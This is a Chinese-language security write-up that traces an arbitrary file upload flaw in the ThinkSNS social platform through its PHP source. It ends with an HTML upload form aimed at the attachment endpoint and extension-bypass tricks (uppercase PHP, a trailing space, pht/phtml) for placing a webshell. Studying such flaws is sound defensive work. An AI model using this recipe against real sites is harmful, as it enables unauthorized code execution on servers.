Thinksns前台getshell

漏洞分析

  首先我们来看漏洞触发点在/apps/public/Lib/Action/AttachAction.class.php中第181行:

public function ajaxUpload()
    {
        //执行附件上传操作
        $d['type_name'] = 11;
        D('feedback_type')->add($d);
        $attach_type = t($_REQUEST['type']);

        $options['uid'] = $this->mid;

        //加密传输这个字段,防止客户端乱设置.
        $options['allow_exts'] = t(jiemi($_REQUEST['exts']));
        $options['allow_size'] = t(jiemi($_REQUEST['size']));
        $jiamiData = jiemi(t($_REQUEST['token']));
        list($options['allow_exts'], $options['need_review'], $fid) = explode('||', $jiamiData);
        $options['limit'] = intval(jiemi($_REQUEST['limit']));
        $options['now_pageCount'] = intval($_REQUEST['now_pageCount']);

        $data['upload_type'] = $attach_type;

        $info = model('Attach')->upload($data, $options);
        //上传成功
        echo json_encode($info);
    }

  这就是罪魁祸首的函数,我们分析一下这个函数:
在设置限制后缀的时候,参数是我们可控的:

$options['allow_exts'] = t(jiemi($_REQUEST['exts']));
        $options['allow_size'] = t(jiemi($_REQUEST['size']));
        $jiamiData = jiemi(t($_REQUEST['token']));
        list($options['allow_exts'], $options['need_review'], $fid) = explode('||', $jiamiData);

  虽然可控,但是这里调用了一个jiemi函数,我们跟踪一下这个函数,在/src/old/OpenSociax/functions.inc.php中第2693行:

function jiemi($text, $key = null)
{
    if (empty($key)) {
        $key = C('SECURE_CODE');
    }

    return tsauthcode($text, 'DECODE', $key);
}

  这里又调用了一个tsauthcode函数,我们继续跟踪,在/src/old/OpenSociax/functions.inc.php中第2703行:

function tsauthcode($string, $operation = 'DECODE', $key = '')
{
    $ckey_length = 4;
    $key = md5($key ? $key : SITE_URL);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

  这个解密函数我们就不要想着去逆向了,但是我们观察一下这个函数的返回值,可以看到是有返回值的,都是字符串,就算解密不成功也会返回一个空的字符串。
  那么当我们无法构造正确密文的时候,这个函数会返回一个空的字符串,那么问题来了,我们回到第一个函数中去:

$options['allow_exts'] = t(jiemi($_REQUEST['exts']));
        $options['allow_size'] = t(jiemi($_REQUEST['size']));
        $jiamiData = jiemi(t($_REQUEST['token']));
        list($options['allow_exts'], $options['need_review'], $fid) = explode('||', $jiamiData);

  那么意思就是这里的$options[‘allow_exts’]我们可以设置为空。
  然后我们继续看这个$options变量,递给了

$info = model('Attach')->upload($data, $options);

  我们跟一下这个upload函数,在/addons/model/AttachModel.class.php中第162行:

public function upload($data = null, $input_options = null, $thumb = false)
    {
        //echo json_encode($data);
        $system_default = model('Xdata')->get('admin_Config:attach');
        if (empty($system_default['attach_path_rule']) || empty($system_default['attach_max_size']) || empty($system_default['attach_allow_extension'])) {
            $system_default['attach_path_rule'] = 'Y/md/H/';
            $system_default['attach_max_size'] = '2';        // 默认2M
            $system_default['attach_allow_extension'] = 'jpg,gif,png,jpeg,bmp,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf';
            model('Xdata')->put('admin_Config:attach', $system_default);
        }

        // 上传若为图片,则修改为图片配置
        if ($data['upload_type'] === 'image') {
            $image_default = model('Xdata')->get('admin_Config:attachimage');
            $system_default['attach_max_size'] = $image_default['attach_max_size'];
            $system_default['attach_allow_extension'] = $image_default['attach_allow_extension'];
            $system_default['auto_thumb'] = $image_default['auto_thumb'];
        }

        // 载入默认规则
        $default_options = array();
        $default_options['custom_path'] = date($system_default['attach_path_rule']);                    // 应用定义的上传目录规则:'Y/md/H/'
        $default_options['max_size'] = floatval($system_default['attach_max_size']) * 1024 * 1024;        // 单位: 兆
        $default_options['allow_exts'] = $system_default['attach_allow_extension'];                    // 'jpg,gif,png,jpeg,bmp,zip,rar,doc,xls,ppt,docx,xlsx,pptx,pdf'
        $default_options['save_path'] = UPLOAD_PATH.'/'.$default_options['custom_path'];
        $default_options['save_name'] = ''; //指定保存的附件名.默认系统自动生成
        $default_options['save_to_db'] = true;
        //echo json_encode($default_options);exit;

        // 定制化设这,覆盖默认设置
        $options = is_array($input_options) ? array_merge($default_options, $input_options) : $default_options;
        //云图片
        if ($data['upload_type'] == 'image') {
            $cloud = model('CloudImage');
            if ($cloud->isOpen()) {
                return $this->cloudImageUpload($options);
            } else {
                return $this->localUpload($options);
            }
        }

        //云附件
        else {
            //if($data['upload_type']=='file'){
            $cloud = model('CloudAttach');
            if ($cloud->isOpen()) {
                return $this->cloudAttachUpload($options);
            } else {
                return $this->localUpload($options);
            }
        }
    }

  我们看到这个地方:
_// 定制化设这,覆盖默认设置
$options = is_array($input_options) ? array_merge($default_options, $input_options) : $default_options;_
  其中$input_option这个形参对应的实参就是我们刚才的$options变量,而$default_options变量是系统默认的上传配置,那么问题来了,可以看到这里如果存在定制化设置,也就是存在$input_options的时候,会覆盖掉默认设置,结合我们上面所说的我们可以将allow_exts设置成空字符串, 那么在这个地方,我们的allow_exts也已经被覆盖了,变成了空字符串。
  我们继续往下看:

else {
            //if($data['upload_type']=='file'){
            $cloud = model('CloudAttach');
            if ($cloud->isOpen()) {
                return $this->cloudAttachUpload($options);
            } else {
                return $this->localUpload($options);
            }

  这里判断是否开启云,如果没有开启,就调用本地上传函数,这里我们不考虑开启的情况,只考虑本地上传的情况,好,我们开始跟踪localUpload这个函数,在这个文件的第269行:

private function localUpload($options)
    {
        // 初始化上传参数
        $upload = new UploadFile($options['max_size'], $options['allow_exts'], $options['allow_types']);
        // 设置上传路径
        $upload->savePath = $options['save_path'];
        // 启用子目录
        $upload->autoSub = false;
        // 保存的名字
        $upload->saveName = $options['save_name'];
        // 默认文件名规则
        $upload->saveRule = $options['save_rule'];
        // 是否缩略图
        if ($options['auto_thumb'] == 1) {
            $upload->thumb = true;
        }

        // 创建目录
        mkdir($upload->save_path, 0777, true);

        // 执行上传操作
        if (!$upload->upload()) {
            // 上传失败,返回错误
            $return['status'] = false;
            $return['info'] = $upload->getErrorMsg();

            return $return;
        } else {
            $upload_info = $upload->getUploadFileInfo();
            // 保存信息到附件表
            $data = $this->saveInfo($upload_info, $options);
            // 输出信息
            $return['status'] = true;
            $return['info'] = $data;
            // 上传成功,返回信息
            return $return;
        }
    }

  我们首先看实例化上传类这里:

$upload = new UploadFile($options['max_size'],$options['allow_exts'], $options['allow_types']);

  这里的$options[‘allow_exts’]从上文知道我们传入的是个空字符串,那么我们跟到这个类的构造函数中去看一下:

public function __construct($maxSize = '', $allowExts = '', $allowTypes = '', $savePath = UPLOAD_PATH, $saveRule = '')
    {
        if (!empty($maxSize) && is_numeric($maxSize)) {
            $this->maxSize = $maxSize;
        }
        if (!empty($allowExts)) {
            if (is_array($allowExts)) {
                $this->allowExts = array_map('strtolower', $allowExts);
            } else {
                $this->allowExts = explode(',', strtolower($allowExts));
            }
        }
        if (!empty($allowTypes)) {
            if (is_array($allowTypes)) {
                $this->allowTypes = array_map('strtolower', $allowTypes);
            } else {
                $this->allowTypes = explode(',', strtolower($allowTypes));
            }
        }
        if (!empty($saveRule)) {
            $this->saveRule = $saveRule;
        } else {
            $this->saveRule = C('UPLOAD_FILE_RULE');
        }
        $this->savePath = $savePath;
    }

  可以看到当我们传入的$allowexts不为空的时候才会重新设置allowexts,但是我们这里传入的是一个空字符串,那么便不会重新设置,而是保持该类的默认值,那么默认值是什么呢,在这个类声明allow_exts成员的时候就有了,在/addons/library/UploadFile.class.php中第34行:

 // 允许上传的文件后缀
    //  留空不作后缀检查
    public $allowExts = array();

  可以看到是留空的。好,现在限制后缀是空了,那么我们看一下上传函数检测后缀的地方在哪,在该文件的第227行:

               // 自动检查附件
                    if ($this->autoCheck) {
                        if (!$this->check($file)) {
                            return false;
                        }

  我们跟进去,看一下:

 */
    private function check($file)
    {
        if ($file['error'] !== 0) {
            //文件上传失败
            //捕获错误代码
            $this->error($file['error']);

            return false;
        }
        //文件上传成功,进行自定义规则检查
        //检查文件大小
        if (!$this->checkSize($file['size'])) {
            $this->error = '上传文件大小不符,文件不能超过 '.byte_format($this->maxSize);

            return false;
        }

        //检查文件Mime类型
        if (!$this->checkType($file['type'])) {
            $this->error = '上传文件MIME类型不允许!';

            return false;
        }
        //检查文件类型
        if (!$this->checkExt($file['extension'])) {
            $this->error = '上传文件类型不允许';

            return false;
        }

        //检查是否合法上传
        if (!$this->checkUpload($file['tmp_name'])) {
            $this->error = '非法上传文件!';

            return false;
        }

        return true;
    }

  然后我们跟进检查文件后缀名的函数中:

private function checkExt($ext)
    {
        if (in_array($ext, array('php', 'php3', 'exe', 'sh', 'html', 'asp', 'aspx'))) {
            $this->error = '不允许上传可执行的脚本文件,如:php、exe、html后缀的文件';

            return false;
        }

        if (!empty($this->allowExts)) {
            return in_array(strtolower($ext), $this->allowExts, true);
        }

        return true;
    }

  这里我们传入的实参是$file[‘extension’],看一下这个变量的定义,在217行:

$file['extension'] = $this->getExt($file['name']);

  跟进getext函数看看,第556行:

private function getExt($filename)
    {
        $pathinfo = pathinfo($filename);

        return $pathinfo['extension'];
    }

  可以看到直接使用pathinfo取得后缀,并且未作大小写转换。我们继续看到检测后缀的那个函数:

private function checkExt($ext)
    {
        if (in_array($ext, array('php', 'php3', 'exe', 'sh', 'html', 'asp', 'aspx'))) {
            $this->error = '不允许上传可执行的脚本文件,如:php、exe、html后缀的文件';

            return false;
        }

        if (!empty($this->allowExts)) {
            return in_array(strtolower($ext), $this->allowExts, true);
        }

        return true;
    }

  因为未做大小写转换和去除空格,那么第一个判断很好绕过,在windows下,可以使用大写的后缀名PHP,或者是在后缀名后跟一个空格php ,这样都可以绕过第一个判断,然后我们看第二个判断,当$this->allowexts不为空的时候才会进入该判断,上文说过了,这个时候的$this->allows是空的,所以根本不会进入判断。那么我们就绕过了后缀名检测了,可以上传php文件来getshell了

漏洞利用

  在windows下就利用文件名末尾加空格或者大小写来绕过,linux下就用pht或者phtml来绕过。
  先注册登录并构造一个上传表单:

<html>
<body>

<form action="http://localhost/thinksns434/index.php?app=public&mod=attach&act=ajaxUpload" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="upfile" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

  然后呢,随便选择一个php文件,开始上传,同时打开Burpsuite开始抓包改包,其中要更改的地方如下:

  然后就可以看到回显了上传文件的保存位置了,如图:

  我们试着访问一下,成功getshell:

Comments
Write a Comment